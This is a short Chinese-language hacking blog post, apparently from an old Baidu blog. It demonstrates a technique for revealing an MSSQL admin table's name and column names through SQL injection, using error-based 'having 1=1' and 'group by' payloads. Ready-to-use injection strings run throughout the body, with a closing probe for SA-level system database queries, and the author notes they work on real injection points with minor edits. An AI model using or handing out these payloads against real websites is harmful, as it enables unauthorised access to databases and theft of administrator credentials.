MSSQL注入利用Group by&having猜表名和字段名

lcx和剑心等大牛在06年的时候就已经在用这种语法了,而我等小辈到最近才领略到,惭愧惭愧......

手头暂时没有注入点测试,就先以我机器上的MSSQL做实验吧。
下面的语句我直接写完整的SQL语句,注入的时候稍微改改就能用了,呵呵。

假如现在有个注入点,所查询表的结构如下图:



但是我们是不知道表明,不知道列名的....

如果这个注入点原来的SQL语句是:"select * from FK_admin where x_name='"&username&"'"
我们可以在用户名提交的地方填zerosoul' having 1=1--
整个SQL语句就变成了select * from FK_admin where x_name='zerosoul' having 1=1--'
返回结果如下图,可以把表明FK_admin和第一个列名id爆出来:

接着提交zerosoul' group by id having 1=1--
第二个列名x_name也出来了,如下图:

再提交zerosoul' group by id,x_name having 1=1--,爆出第三个列名x_pass,如下图:

然后提交zerosoul' group by id,x_name,x_pass having 1=1--,爆出第最后一个列明x_level。

剩下的事情就比较简单了,呵呵,就需要自由发挥了。

当然如果是SA的话还可以用(select count(*) from master.dbo.sysdatabases where dbid=5)=1这样的语句直接猜MSSQL的系统数据库获得一些敏感信息。上面这个方法在DBO权限下也测试通过。

我觉得我SQL语句学的还是太浅了,只学了基本的语法(貌似大多数人都这样),lcx和剑心他们可能学的比较深入。有时间的话看来我也得继续深入一下了。
这玩意,如果研究的比较深的话,说不定哪天能想出什么奇技淫巧呢,嘿嘿。特别是Oracle,还有一大片牛X的语句等着人去开垦呢。

昨天通宵到现在....本来都关电脑准备睡觉了,上了个厕所突然想起这个来....怕先放下的话会又忘掉,所以又开了电脑实践了一下,顺便做了这个笔记,呵呵。


http://hi.baidu.com/isbx/blog/item/1acfc995d3338242d0135e11.html

加支付宝好友偷能量挖...


评论(0)网络
阅读(84)喜欢(0)SQL及数据库